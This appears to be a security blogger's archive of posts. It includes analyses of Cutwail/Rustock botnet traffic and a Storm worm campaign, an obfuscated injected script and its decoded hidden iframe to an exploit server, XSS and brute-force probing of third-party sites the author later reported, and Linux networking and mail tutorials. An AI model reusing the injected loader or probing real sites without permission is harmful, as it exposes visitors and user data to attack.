• Geiz ist geil?
• Alles nur eine Frage der Technik?

Zumindest wenn es um die Sicherheit der Kundendaten geht, ist Geiz zumindest nicht so geil. Lustig, dass Saturn trotzdem verspricht: “Ihre bei uns gespeicherten Daten schützen wir und unsere Partnerunternehmen durch technische und organisatorische Maßnahmen, um einem Missbrauch durch Dritte wirkungsvoll vorzubeugen“.

Vor ein paar Jahren hatte ich mich bei einer Agentur eingeschrieben, die Hochschulabsolventen, Young Professionals und Studierende in Teil- oder Vollzeit an Unternehmen vermittelt. Nachdem ich nun (auf anderen Wegen) einen Job gefunden habe, wollte ich meine Daten dort löschen (lassen). Zugriff auf sein eigenes hinterlegtes Profil in der Datenbank (für Updates) erlangte man über einen einfachen Link der Form

http://www.firma.xx/xxxxxxxx/xxxxxx.php?id=<userID>&hash=<someHash>

Verdächtig genug – keinerlei weitere Authentifikation. Der Hash, als Mapping auf die ID, sollte wohl Verifikation genug sein, um nicht auf andere Daten zugreifen zu können. Eine Art Passwort also, das der User jedoch nicht kennen muss, außer er will seine eigenen Daten updaten. Dann bekommt er den Link über die Firma zugeschickt. Um die Daten zu löschen fand man im eigenen Bestand jedoch keine Möglichkeit, also bat ich darum per e-mail. Long story short: Trotz Versicherung, dass die Daten gelöscht würden, geschah lange nichts und ich musste die Jungs dort vier Mal anschreiben – eigentlich unverschämt. Irgendwann wurde es mir zu viel und ich begann, das oben genannte Mapping über den Hash auf Sicherheitstauglichkeit zu überprüften. Die Sicherheitslücke, die ich dort fand, war gravierend. Letzendlich wurde der Raum, den der Hash bot, nicht einmal voll ausgenutzt, was es prinzipiell ermöglicht, über einfachste Brute-Force Techniken Nutzerdaten auszulesen. Eine kleine Hochrechnung zeigte, dass nur wenige Trial & Error Requests zur vollkommenen Entblößung des Datenbestandes weiterer Nutzer führte. Das Krasse an der Geschichte ist jedoch, dass das Unternehmen trotz meiner sofortigen Alarmierung mit der dringenden Bitte, diesen Security-Fauxpas zu fixen, bis heute (drei Wochen später) nichts dergleichen unternommen hat. Nicht einmal ein Statement wurde dazu abgegeben, ich bekam keine Antwort auf den Sachverhalt. Aber wenigstens habe ich erreicht was ich eigentlich wollte: Meine Daten sind gelöscht und damit erstmal sicher…

Cutwail issued the following command to 208.66.194.232:80 (hosted by McColo, known for hosting nefarious stuff)
GET /40E80010484449525657494F5357594C49584F456C000000066600000000760000046BEB000530CDE1E7ED HTTP/1.0

receiving the answer from the web server

HTTP/1.0 200 OK
Date: Fri, 29 Aug 2008 18:21:44 GMT
Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch9
Last-Modified: Fri, 29 Aug 2008 18:21:44 GMT
Cache-Control: no-cache
Content-Length: 326160
Connection: close
Content-Type: application/octet-stream

followed by an encrypted/encoded binary. I have not been able to check that file out by now, but I might provide it to the interested reader upon request. The Rustock/Costrat binaries connect to the same network. These connections by Rustock to 208.66.194.0/24 are verified by Symantec and ThreatExpert.

Yet another proof that the top spam botnets are linked together in certain ways, this time in command-and-control.

Moreover, traffic was not completely encrypted and not at all on port 4080/tcp. Ports in use have been 7230/tcp (encrypted), 8195/tcp (encrypted), 8001/tcp (plain), 3078 (plain) and 3128 (plain with base64-encoded HTTP payload representing IP addresses (in decimal) for whatever reason, see below). Again, data shown is not sanitized or censored in any way.

POST / HTTP/1.1
Accept: */*
Accept-Language: en
Cache-Control: no-cache
Pragma: no-cache
Accept-Charset: iso-8859-1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 216.195.55.10:3128
Content-Length: 85
Connection: Keep-Alive

{NTQx9k+dqZV6afQgf2ABxEjDK5OPtU2/XPa8nj4GndeDqESDAmD0XeGBu1SS7ux0pL9vTIIFzqeYtyMXbJQMOZxHIz2ZaBBWFnttDXrlUcp=}.

.{....+\....-T5 -sV.128.194.136.173.53,80...+\....-T5 -sV.128.194.136.147.53,80...+\....-T5 -sV.128.194.137.81.53,80...+\....-T5 -sV.128.194.137.101.53,80...+\....-T5 -sV.128.194.136.240.53,80...+\....-T5 -sV.128.194.137.16.53,80...+\....-T5 -sV.128.194.137.136.53,80...+\....-T5 -sV.128.194.137.95.53,80...+\....-T5 -sV.128.194.137.35.53,80...+\....-T5 -sV.128.194.137.42.53,80.

Option -sV: Probe open ports to determine service/version info
Option -T5: Set timing template (higher is faster) <– 5 is the highest

As can be seen, the control in the botnet’s background is done via pretty diverse channels. Of course, one major task of the bot is still spamming, this short analysis concentrated on its C&C, however, using binaries from July/August 2008. Note, that this study might not be up to date any more by now…

worldpostcardart.com
superlettercard.com
yourlettercard.com
freepostcardonline.com
digitalaudiopostcard.com
lettercardadvertising.com
bestlettercard.com
audiopostcardmail.com
supergreetingcard.com
oldpostcardshop.com

While all the above domains have been created on August, 2nd, the following domain offers the Nameservers and has been created on July, 28th

brprbgok6.com

Diging these domains returns one IP with a TTL of 60 seconds, indicating Fast-Flux. I have not investigated earlier campaigns, but I wondered why only one IP was returned; typically for Fast-Flux, there is a whole bunch of short-lived IPs returned for one domain name.

The campaign’s website is kept simple:
Your download will start shortly. If you are unable to see your postcard, save it in and run on your computer.


The Binaries’ AntiVir Detection Rate is 19/36 (52.78%)

As I am the first to blog this and as I am currently not running a Storm Spambot, I guess we need to wait for Jeremy to fire up his automated extraction scripts for more insight on the respective spam messages

Update Aug 6th: Today I found more information on the spam messages at the Trend Micro Blog: http://blog.trendmicro.com/storm-uses-old-bait/.
Took them some time though…

<!-- Nerzul --><script type="text/javascript">
document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0035\u0038\u002e\u0036\u0035\u002e\u0032\u0033\u0035\u002e\u0034\u0031\u002f\u006c\u006c\u006c\u006c\u002f\u0073\u0074\u0064\u0073\u002f\u0069\u006e\u0064\u0065\u0078\u002e\u0070\u0068\u0070\u003f\u0073\u0069\u0064\u003d\u0031\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0031\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0031\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0076\u0069\u0073\u0069\u0062\u0069\u006c\u0069\u0074\u0079\u003a\u0068\u0069\u0064\u0064\u0065\u006e\u003b\u0070\u006f\u0073\u0069\u0074\u0069\u006f\u006e\u003a\u0061\u0062\u0073\u006f\u006c\u0075\u0074\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');
</script>

which decodes to

<iframe src="http://58.65.235.41/llll/stds/index.php?sid=1" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

Just to be on the safe side, I used a virtual machine, Sandbox Technologies and Wireshark to visit the website and capture the packets. After the HTTP GET request on that site, a “GET /llll/stds/go.php?sid=1 HTTP/1.1\r\n” was executed, which forwarded to “GET /llll/ts/index.php HTTP/1.1\r\n“. This request occurred every 24 seconds. Following every single request, I got a lof of “Continuation or non-HTTP Traffic”, meaning there were some packets on port 80 without the HTTP header. There was a lot of HTTP-data like “Data: 783932494B4148407542324C4E414833563358417A46484D…“, so I decided to use chaosreader to gain some better understanding.
I got this interesting result. In total I got a lot of these obviously heavily obfuscated data, but they did not seem to differ alot. I de-obfuscated them using malzilla and did a “diff” on some of them:

[~/malicious]$diff exploit1 exploit2
177c177
< var fname="winSnp6O4.exe";
---
> var fname="winbtHWMzX7lmTK.exe";
[02:24:01] [~/malicious]$diff exploit2 exploit3
177c177
< var fname="winbtHWMzX7lmTK.exe";
---
> var fname="winIZdWt3zQl5YEQb.exe";
[02:24:06] [~/malicious]$diff exploit3 exploit4
177c177
< var fname="winIZdWt3zQl5YEQb.exe";
---
> var fname="winK6S9dnplSskzh.exe";


So we see, only the filenames changed. Moreover, when analyzing the de-obfuscated JS-code, it can be seen that this file includes nine different exploit vectors, including Microsoft’s MDAC, Webview Folder Icon and DirectAnimation Heap Overflow Vulnerabilities, Macromedia’s Flash Vulnerability and some more that I did not investigate.
The script will start with attack(1);, trying to create Shell Application Objects for several classids and then it will create an ADODB Stream and save the responseBody received via XMLHTTP to a file with the fixed letters “win” followed by some random ones (see above). While debugging the code on my system, creating the shell application object failed (its return value was null), so I haven’t been able to open the stream and analyze that file.
However, after failing of attack1 and attack2 (the swf exploit, the url did not ping), the other exploits were being run, but I did not go further into analysis there…

So now only the question remains, how that code came into the index.html pages of my website. My FTP password is rather strong, so that can’t be it and neither can social engineering or SQL Injections, as it was pure HTML without any DB backend. Waiting for an answer from my webhoster…

Angefangen hat alles damit, dass der Karlsruher Stadtblog meinen BjOG verlinkt hat. Allerdings nicht freiwillig. Was man hier sieht ist eine einfache XSS-Attacke gegen die Website des Stadtblogs, die dann (across-sites) meinen Blog in einem iframe lädt. Das kann böse ausgenutzt werden, wie das Beispiel von Saturn zeigt (Notiz: Hier muss man zunächst auf Saturn.de gehen um sich ein Cookie abzuholen (wenn man noch keines hat), indem man eine Filiale auswählt.) Der Elektronikkette habe ich auch eine bösartige Seite untergejubelt, mehr schlecht als recht an deren Design angepasst und könnte somit z.B. leicht Kreditkarteninformationen von Usern ergattern oder Cookies und damit Usersessions hijacken.
Auch die Frankfurter Allgemeine Zeitung (FAZ) ist vor XSS-Attacken nicht gefeit. Das Unterjubeln gefälschter Seiten oder der Diebstahl von Cookies und das damit verbundene Account Hijacking durch komplettes Umgehen des Authentication Prozesses sind so kein Problem mehr, wie man auch bei Die Welt sehen kann. Die dort gezeigten Cookie Credentials hätte ich ohne Probleme an mich senden lassen können. Hier war der Aufwand jedoch etwas größer, da die Welt den User-Suchstring augenscheinlich nur per POST übermittelt, was auch gut so ist, denn das verhindert zumindest URL-basierte XSS-Attacken. Leider kann man das bei der Welt jedoch auch umgehen, indem man aus dem Code die nötigen POST Variablen extrahiert und über die URL als GET interpretieren lässt. Bugfix: Clientinformationen nur als HTTP POST annehmen…

Wie man sieht ist XSS ein seriöses Problem, dem leider nicht so viel Aufmerksamkeit zukommt wie es sollte. Dabei reicht es doch schon, die Inputdaten von Usern entsprechend zu filtern. Die oben genannten Beispiele sind bei weitem nicht die einzigen, viele weitere große Betreiber, die ich hier jedoch nicht liste, sind davon betroffen. Dies soll nur ein kleiner Warnschuss sein. Nach der Veröffentlichung dieses Beitrages habe ich umgehen die Websitebetreiber informiert. Ich bin mal gespannt, wielange es braucht, bis die ersten reagieren.

edit: Falls die Lücken geschlossen werden sollten, hier die Beweis Screenshots:

edit: Wow, das ging schnell, der stadtblog is schon gefixt!

First of all, I wanna thank Richard for his in-depth tutorial, which I unfortunately found in a quite late state of my efforts. Anyhow, his tutorial is based on a RedHat Enterprise 4 System, but most of it is usable on other systems, too. It did not fit completely on Debian, though. I copied part of his text for simplicity. So let’s get it on:

• Remove libpcap* via apt-get or aptitude and all other software that depends on it (you gotta rebuild it later with the new pfring-enabled libpcap)
• Rebuild your kernel:
  cd /usr/src
export CVSROOT=:pserver:anonymous@cvs.ntop.org:/export/home/ntop
mkdir pf_ring && cd pf_ring
cvs login
  which should produce the following output:

  Logging in to :pserver:anonymous@cvs.ntop.org:2401/export/home/ntop
CVS password:

  At the prompt, type “ntop” (no quotes), and hit Enter. (Note: ntop will not appear on the screen.) Next type the following:

  cvs checkout PF_RING which will download the needed source.

• Now etner the directory and edit the file mkpatch.sh. Therefore, check which kernel you currently have installed or which kernel you want to have after the update. Check by uname -a which should give you something like Linux rz-sniff 2.6.17.11 #1 SMP Wed Dec 20 13:06:04 CET 2006 i686 GNU/Linux. Open mkpatch.sh, scroll to the first variable declarations and change into your wishes:
  VERSION=${VERSION:-2}
PATCHLEVEL=${PATCHLEVEL:-6}
SUBLEVEL=${SUBLEVEL:-17.11}
and run the script via sh ./mkpatch.sh, which should give you some output and stop with the location of your patchfile.
• Apply the patchfile:
  cd /usr/src
zcat /usr/src/pf_ring/PF_RING/workspace/linux-2.6.*patch.gz | patch --dry-run -p0 If it runs without any error, run again without the –dry-run option
• Now you gotta build your custom kernel. This may vary on different systems, a 2.6 kernel under Debain Sarge can be build as followed:
  cd /usr/src/linux
apt-get install kernel-package libncurses5-dev fakeroot wget bzip2 build-essential
make menuconfig
  It is normally a good idea to take the configuration of your existing (working!) kernel 2.6 as a starting point for the configuration of your new kernel. Usually the current kernel configuration is saved in a file under /boot, e.g. /boot/config-2.6.17.11. Load it using the arrow keys and selection the option at the bottom.
  Now for Intel Network Cards, select Device Driver – Network Service Support – Ethernet (1000Mbit) and enable NAPI-Support by selecting ‘y’ on Use Rx Polling. Go back (3x ESC) and select Networking and Networking Options. Make sure that PF_RING sockets are enabled. Leave and save the settings. Now build the kernel and install it:
  make-kpkg clean
fakeroot make-kpkg --initrd --revision=pfring.1.0 kernel_image
cd ../
dpkg -i linux-image-2.6.17.11_pfring.1.0_i386.deb

  This will install your new kernel (including a ramdisk) and also update grub. You can now reboot your system, and you should then have a new kernel. You can check that by running uname -r.
• Compile libpfring, and test that it works.
  First off, start with doing the following:

  cp /usr/src/linux/include/linux/ring.h /usr/include/linux

  which will add the neccessary header file, ring.h, to the standard include directory.

  Next, run the following:

  cd /usr/src/pf_ring/PF_RING/userland/libpfring
make

  which should give you a short output.
  Now, we are going to generate a .so from these files, by running the following:

  gcc -shared -Wl,-soname -Wl,libpfring.so.0.9.4 -o libpfring.so.0.9.4 *.o -lc

  We copy the files we just created to a common system directory:

  cp libpfring.a libpfring.so.0.9.4 /usr/local/lib
cp pfring.h /usr/local/include
ln -s /usr/local/lib/libpfring.so.0.9.4 /usr/local/lib/libpfring.so


  Next, we need to add /usr/local/lib to the list of directories the dynamic loader will search:
  
echo "/usr/local/lib" >> /etc/ld.so.conf
ldconfig

  To check that the dynamic loader sees the libraries, run the following:

  ldconfig -v |grep pfring

  which should produce the following output:

  libpfring.so.0.9.4 -> libpfring.so.0.9.4

  You can test the installation with

  ./pfcount -v -i ethx with x being your interface number. Be carefull, the thing can hang on a very busy interface (e.g. > 100Mbit)

  Now, run the following:

  dmesg

  and the last few lines of output should look similar to the following:

  RING: succesfully allocated 128 KB [tot_mem=26509372][order=5]
RING: allocated 80 slots [slot_len=1618][tot_mem=131072]
device eth1 entered promiscuous mode

• Next step is to build libpcap to use the PF_RING interface to the kernel.
  First, run the following:

  cd /usr/src/pf_ring/PF_RING/userland/
ls |grep pcap

  The output should be something similar to:

  libpcap-0.9.4-ring

  which indicates that this version of PF_RING was built to work with a patched version of libpcap-0.9.4, so we need to download that version.

  The simplest way to download that version is to run the following:
  
wget http://www.tcpdump.org/release/libpcap-0.9.4.tar.gz Now do:

  tar -zxvf libpcap-0.9.4.tar.gz
cd libpcap-0.9.4
mv pcap-int.h pcap-int.h.orig
mv pcap-linux.c pcap-linux.c.orig
cp ../libpcap-0.9.4-ring/pcap* .
./configure CPPFLAGS="-I/usr/local/include" LDFLAGS="-L/usr/local/lib" CFLAGS="-D_LARGEFILE_SOURCE -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64"


  If the ./configure command completes without any errors, run the following:

  make && gcc -shared -Wl,-soname -Wl,libpcap.so.`cat VERSION` -o libpcap.so.`cat VERSION` *.o -lc

  Now, run the following:

  make install && cp libpcap.so.0.9.4 /usr/local/lib

  Next, make sure the dynamic loader sees this new library:

  ldconfig -v |grep pcap

  the output should look similar to:

  libpcap.so.0.9.4 -> libpcap.so.0.9.4

• Compile your software using the new libpcap and pfring, e.g. ntop. If you are getting ntop from CVS also (like PF_RING), change into the ntop directory and compile it, using the following commands. These can be used with other software, too (i.e. the compile options)./autogen.sh --noconfig
./configure CPPFLAGS="-I/usr/local/include" LDFLAGS="-L/usr/local/lib -lpfring -lpcap"
make && make install

  Now check if your setup was successful:

  ldd /usr/local/bin/ntop

  should produce output similar to:

  linux-gate.so.1 => (0xffffe000)
libpfring.so.0.9.4 => /usr/local/lib/libpfring.so.0.9.4 (0xb7f8c000)
libntopreport-3.2.4.so => /usr/local/lib/libntopreport-3.2.4.so (0xb7ee6000)
libntop-3.2.4.so => /usr/local/lib/libntop-3.2.4.so (0xb78f9000)
libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0xb78e7000)
libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb78e3000)
libcrypt.so.1 => /lib/tls/i686/cmov/libcrypt.so.1 (0xb78b5000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7784000)
libresolv.so.2 => /lib/tls/i686/cmov/libresolv.so.2 (0xb7771000)
libnsl.so.1 => /lib/tls/i686/cmov/libnsl.so.1 (0xb775a000)
libpcap.so.0.9.4 => /usr/local/lib/libpcap.so.0.9.4 (0xb772f000)
libgdbm.so.3 => /usr/lib/libgdbm.so.3 (0xb7729000)
libgd.so.1 => /usr/lib/libgd.so.1 (0xb76f7000)
libpng12.so.0 => /usr/lib/libpng12.so.0 (0xb76d4000)
libz.so.1 => /usr/lib/libz.so.1 (0xb76c0000)
librrd_th.so.2 => /usr/lib/librrd_th.so.2 (0xb7679000)
/lib/ld-linux.so.2 (0xb7f99000)
libm.so.6 => /lib/tls/i686/cmov/libm.so.6 (0xb7654000)
libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0xb7634000)
libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0xb75ca000)
libart_lgpl_2.so.2 => /usr/lib/libart_lgpl_2.so.2 (0xb75b4000)

  where the line containing libpfring and libpcap are of particular importance.

  At this point, you have a version of ntop that will use the PF_RING ring module in the kernel. Congrats.

• Some Statistics:cat /proc/net/pf_ring/info
  will give you some output like this:

  Version : 3.2.1
Bucket length : 128 bytes
Ring slots : 4096
Sample rate : 1 [1=no sampling]
Capture TX : No [RX only]
Total rings : 0


  Now there is one drawback: libpcap will not report accurate drop statistics when linked with pfring, so the 0 dropped packets, that ntop reports, are definately wrong.

  cat /proc/net/pf_ring/20 (where 20 is some random number) shows the actual stats:

  Bound Device : eth0
Version : 6
Sampling Rate : 0
Cluster Id : 0
Tot Slots : 7181
Slot Len : 146
Data Len : 128
Tot Memory : 1048576
Tot Packets : 62206634
Tot Pkt Lost : 14292126
Tot Insert : 47914508
Tot Read : 47914434


  Do the math (and wisely distinguish between capture- and drop-rate): 14292126 out of 62206634 is a drop-rate of about 23%. Sounds high? Well, it isn’t, regarding the fact, that my network has peaks up to and over 600Mbps and a current average of about 150Mbps after a 30min runtime. Viewing table 3 in the PDF mentioned in the introduction, you can see, that the performance highly depends on the packet size.
  Now 55% of my traffic has sizes between 60 and 256 bytes (i.e. small packets), for which the table promises a capture-rate of 75%. Another 35% of my traffic is above 1025 bytes, where a Linux 2.6 with NAPI + PF_RING and extended libpcap performs best (93% capture-rate). It is quite poor in between (47% capture-rate), but still the best of its competitors. Anyhow, regarding the fact, that most of my packets are big or small, it was a wise choice to use this specific polling strategy, and a 23% drop-rate is about the result I have expected. Tests with standard kernel and libpcap had drop-rates of up to 40%.
  In my study thesis “Intrusion Detection with heterogenous Sensors” you can find detailed long-term statistics in the Evaluation Chapter (Chapter 5), “Sniffing Performance” featuring nice graphs that illustrate the work of the ringbuffer.

  /var/log/messages should have some stats, too, upon every application using pf_ring
  
Welcome to PF_RING 3.2.1
(C) 2004-06 L.Deri
NET: Registered protocol family 27
PF_RING: bucket length 128 bytes
PF_RING: ring slots 4096
PF_RING: sample rate 1 [1=no sampling]
PF_RING: capture TX No [RX only]
PF_RING: transparent mode Yes
PF_RING initialized correctly.
PF_RING: registered /proc/net/pf_ring/
RING: succesfully allocated 1024 KB [tot_mem=598076][order=8]
RING: allocated 7181 slots [slot_len=146][tot_mem=1048576]


  Now it is possible to manually remove and insert the kernelmodule into the kernel.
  lsmod shows if ring.ko is loaded and used, rmmod removes it and it can be loaded with configurable parameters via

  
insmod /lib/modules/2.6.17.11/kernel/net/ring/ring.ko bucket_len=64 num_slots=4096 sample_rate=1 transparent_mode=0

  bucket_len: Specifies the maximum packet length captured by PF_RING. This is equivalent to snaplen of libpcap. If you are doing something like ntop where you only want to look at the packet headers, then a bucket_len of 64 works. But if you want to inspect the entire packet, then you will have to make sure that the bucket_len is at least as big as the MTU
  of the network.
  num_slots: Number of slots in the ring. The bigger the better is the performance the more memory you use. 4096 should be fine, you can tweak it though.
  sample_rate: 1 means regard every packet (no sampling), 2 means every second and so on…
  transparent_mode: By default a packet that is handled by at least a ring is not forwarded to the upper Linux layers. This will result in faster capture speeds but will prevent legacy applications (not recompiled with the new libpcap-ring) from operating. If you set it to 1 it reverts the ring to the old behaviour (i.e. packets are forwarded to upper layers) but this will decrease the benefits of the ring as it will result in worse results.

  Tweak it according to your purpsose.

  To conclude: I don’t know if it makes any difference, but by checking your NIC via

  ethtool -g eth0 you can see the internal ringbuffer settings. You can change it to a greater value using
  
ethtool -G eth0 rx 4096

————

Top-Schnäppchen & Gutscheine: DealDoktor – Der einzige Schnäppchen-Blog mit Doktortitel

Hier gibt es viele Gutscheine, Gratis-Artikel und täglich die besten Spar-Angebote aus dem Internet, z.B. Möglichkeiten, kostenlos ins Kino zu kommen und mehr…

Nachdem also getmail und dovecot (wie im Tutorial beschrieben) zusammenarbeiten, machen wir uns an die Installation von Spamassassin:

cd /usr/ports/mail/p5-Mail-SpamAssassin && make install clean

Unter /usr/local/etc/mail/spamassassin gibt es nun eine local.cf.sample, die man in local.cf umbenennt. Diese Datei steuert das Verhalten von spamassassin. Sie kann nun angepasst werden (wenn man weiß, was man tut) oder mit Hilfe eines selbsterklärenden Webinterfaces erstellt werden: http://www.yrex.com/spam/spamconfig.php. Es ist noch anzumerken, dass in dem genannten Verzeichnis die globale Config-File von Spamassassin liegt. Wird spamassassin mit Hilfe des -u Flags im Kontext eines bestimmten Users ausgeführt, so ist die Konfigurationsdatei für diesen User so anzulegen: ~/.spamassassin/user_prefs (mit gleichem Inhalt).

Der Inhalt meiner Datei sieht so aus:
# SpamAssassin config file for version 3.x
# NOTE: NOT COMPATIBLE WITH VERSIONS 2.5 or 2.6
# See http://www.yrex.com/spam/spamconfig25.php for earlier versions
# Generated by http://www.yrex.com/spam/spamconfig.php (version 1.50)

# Mail using locales used in these country codes will not be marked
# as being possibly spam in a foreign language.
ok_locales en


Der Score Treshold kann beliebig gewählt werden, ich habe ihn zunächst hoch gesetzt, um das System zu testen und werde ihn nach weiteren Analysen der eingehenden eMails noch weiter anpassen. Mittlerweile arbeite ich sehr gut mit einem Score von 8.6. Diesen Wert habe ich gewählt, da ich einen Newsletter beziehe, der leider mit 8.5 Spam-Punkten bewertet wird.

Jetzt machen wir uns an die Bearbeitung einer geeigneten .procmailrc Datei, die procmail steuert und so die Mails je nach Spameinstufung in Mailverzeichnisse sortieren kann. Dazu erstellen wir im HOME-Verzeichnis des Users, unter dem getmail läuft (hier: bjoumail), eine Datei namens .procmailrc mit folgendem Inhalt:
# SpamAssassin sample procmailrc
# ==============================

#:0 c
#| /usr/bin/vacation your_loginname


Anmerkungen: Den Workaround habe ich nicht getestet, sondern einfach so aus einer Vorlage übernommen. Den Folder "Spam" müssen wir in unserem eMailprogramm, welches auf den dovecot IMAP-Server zugreift, natürlich noch erstellen. Da dovecot nicht mit mboxes, sondern mit Maildirs arbeitet, ist der trailing slash bei /home/bjoumail/mail/.Spam/ besonders wichtig.

Nun muss noch die /usr/local/etc/postfix/master.cf angepasst werden. Dazu ändert mann die Zeile

smtp inet n - n - - smtpd

in

smtp inet n - n - - smtpd -o content_filter=spamassassin

Man fügt also einen content_filter hinzu. Am Ende der Datei muss man postfix nun mittweilen, was dieser Filter tun soll:

spamassassin
         unix - n n - - pipe
     user=nobody argv=/usr/local/bin/spamc -e /usr/local/sbin/postfix -oi -f ${sender} ${recipient}

Dabei ist sichrzustellen, dass die drei obigen zeilen entweder in einer Zeile in der Datei stehen, oder die zwei unteren Zeilen mit Leerzeichen eingeleitet werden. Der Uer 'nobody' ist ggf. anzupassen.
Jetzt kann man das System testen. Eingehende Mails sollten im Header nun stehen haben, dass sie erfolgreich durch spamassassin gepiped und analysiert wurden und je nachdem als Spam oder Ham eingestuft wurden:

Ham:
X-Spam-Checker-Version: SpamAssassin 3.1.1 (2006-03-10) on
my-server.domain
X-Spam-Level:
X-Spam-Status: No, score=-2.6 required=10.0 tests=BAYES_00 autolearn=ham
version=3.1.1

Spam:

X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 3.1.1 (2006-03-10) on
my-server.domain
X-Spam-Level: ********************************
X-Spam-Status: Yes, score=32.9 required=10.0 tests=BAYES_99,
DATE_IN_FUTURE_03_06,FROM_ENDS_IN_NUMS,FUZZY_PHARMACY,
HTML_IMAGE_ONLY_24,HTML_MESSAGE,INFO_TLD,RCVD_NUMERIC_HELO,
UPPERCASE_25_50,URIBL_AB_SURBL,URIBL_JP_SURBL,URIBL_OB_SURBL,
URIBL_SBL,URIBL_SC_SURBL autolearn=spam version=3.1.1


Hat man noch einen Ordner voll mit Spam, so kann (und sollte) man Spamassassin trainieren, um Mails besser klassifizieren zu können. Das geht mit sa-learn, bspw
sa-learn --progress --spam /home/bjoumail/mail/.Spam/cur/
Der Unterordner cur ist der Ordner, wo dovecot die (gelesenen) Mails speichert. Mit dem Trigger --ham kann man spamassassin natürlich auch auf gewollte Mails trainieren. Mehr dazu über man sa-learn.

• So what is MRTS anyway?
• Website: http://apt-get.dk/mrts
• Description: MRTS is short for “MRTG RRDtool Total Statistics”. It is a PHP script written by Thor Dreier that uses “MRTG and RRDtool to sum up total traffic monthly and yearly”. But why making words, if you can see the full power of MRTS in some examples: http://mrts.domainnet.dk Just click on any device and MRTS will show you the traffic-graphs and some statistics on how much traffic you have made during the actual/last months/year.

OK, now we know what MRTS does, but…

• What is MRTG?
• Website: http://oss.oetiker.ch/mrtg/
• Description: “The Multi Router Traffic Grapher (MRTG) is a tool to monitor the traffic load on network-links. MRTG generates HTML pages containing graphical images which provide a LIVE visual representation of this traffic. [...] MRTG is based on Perl and C and works under UNIX and Windows NT.” Again, we want to see some results on that, to see its power. So just take a look at http://www.stat.ee.ethz.ch/mrtg and pick a device. I think you’ll be satisfied. MRTG goes along alone very well, so if the examples, you have just seen, is everything you want, just install MRTG and you are free to go. (Note: You must NOT use the mrtg.cfg we will configure below. Just skip the Logformat: rrdtool command for MRTG standalone setup). I, for my part, was not fully satisfied with MRTG, because I wanted my router/server to show me detailed traffic summaries over the last months/year. And that’s where MRTS comes into play, because MRTS sums up this traffic using MRTG and RRDtool.

• What is RRDtool?
• Website: http://oss.oetiker.ch/rrdtool/
• Description: “If you know MRTG, you can think of RRDtool as a reimplementation of MRTGs graphing and logging features. Magnitudes faster and more flexible than you ever thought possible. RRD is the Acronym for Round Robin Database. RRD is a system to store and display time-series data (i.e. network bandwidth, machine-room temperature, server load average). It stores the data in a very compact way that will not expand over time, and it presents useful graphs by processing the data to enforce a certain data density. It can be used either via simple wrapper scripts (from shell or Perl) or via frontends that poll network devices and put a friendly user interface on it.” RRDtool allows you to almost log everything and convert it into nice impressive graphs. Take a look at http://oss.oetiker.ch/rrdtool/gallery/index.en.html for some examples.

As MRTG needs the Simple Network Management Protocol (SNMP) to work properly, we will take a short look on what this does:

• What is SNMP?
• Website: http://net-snmp.sourceforge.net/
• Description: “SNMP is an application-layer protocol that facilitates the exchange of management information between network devices. It is part of the Transmission Control Protocol/Internet Protocol (TCP/IP) protocol suite. SNMP enables network administrators to manage network performance, find and solve network problems, and plan for network growth.” For our plans, we need to install net-SNMP (formerly known as ucd-SNMP) that consists of various tools relating to SNMP.

So, enough explanations, let’s get to work!

First thing to do is to check, which of the above mentioned packages you already have installed. No idea? Well, then you should do a simple
ls /var/db/pkg or pkg_info
which lists the packages, you have installed using the FreeBSD ports. If you don’t know what the FreeBSD ports are, then you probably won’t have to read on, as some basics really are required in this tutorial Anyway, i’m trying to explain step by step. After you have checked your installed packages, install the packages you still need.


Net-SNMP: /usr/ports/net-mgmt/net-snmp
MRTG: /usr/ports/net-mgmt/mrtg
RRDtool: /usr/ports/net/rrdtool


Some of these programs depend on various libraries (e.g. zlib, libpng, GD), but that’s the good thing: The port-install-mechanism will automatically check, if you have them or not and it will install them, if needed. Do a

make && make install && make clean

in the corresponding port directories to install that specific port.
Now it could take a while until all ports are compiled.

Alright, as far as I see, we are done compiling So let’s get it on, this is the harder part:
• Configuration of net-SNMP

Create a snmpd.conf with

snmpconf -i -g basic_setup

This will start a walktrough asking you some questions about your system. The book “Absolute BSD” (“FreeBSD de Luxe” in Germany) explains in detail, how to properly set up net-SNMP. I’m gonna make it short:

• Type y for configuring “the information returned in the system MIB group”
• syslocation is a string of the location of your server, e.g. “my room”, syscontact is you.
• Type y for setting “the value of the sysServices.0 OID”
• The following questions should be answered with “1″ (yes) or “0″ (no). Commonly it is “0″ for repeater and bridge and “1″ for IP, TCP, SMTP
• Type y for configuring “the agent’s access control”. Then answer the following three questions (read-write user based access, read-only user based access, read-write community access) with n. Answer the next one (read-only community access) with y. You will be asked for a community name. Invent one or take the default: public (NOT RECOMMENDED!) The network to accept this community from should be the loopback (127.0.0.1) or something like 192.168.100.0/24 for example. 0.0.0.0/0 will give anyone access. Don’t use this! Hit [return] for “no restriction” in the next question. Then you are finished, don’t do another community line. The rest can all be answered with n.
• Finally send the SNMPdeamon a Hangup Signal for re-reading the configuration, if SNMP was running while configuring: ps faux | grep snmpd tells you the PID to send kill -HUP theSnmpdPid to.

The snmpd.conf is now stored in /usr/local/share/snmp/. Move it to /usr/local/etc/snmp/snmp.conf (Note: This Setup was very basic and does by far not show the power of net-SNMP. But for our purpose that is all we need right now. You should probably read some literature about it and do a better configuration afterwards. Read http://net-snmp.sourceforge.net/tutorial/tutorial-5/mrtg/index.html for more information on how to set up MRTG to monitor disk-space, CPU-load and so on…)

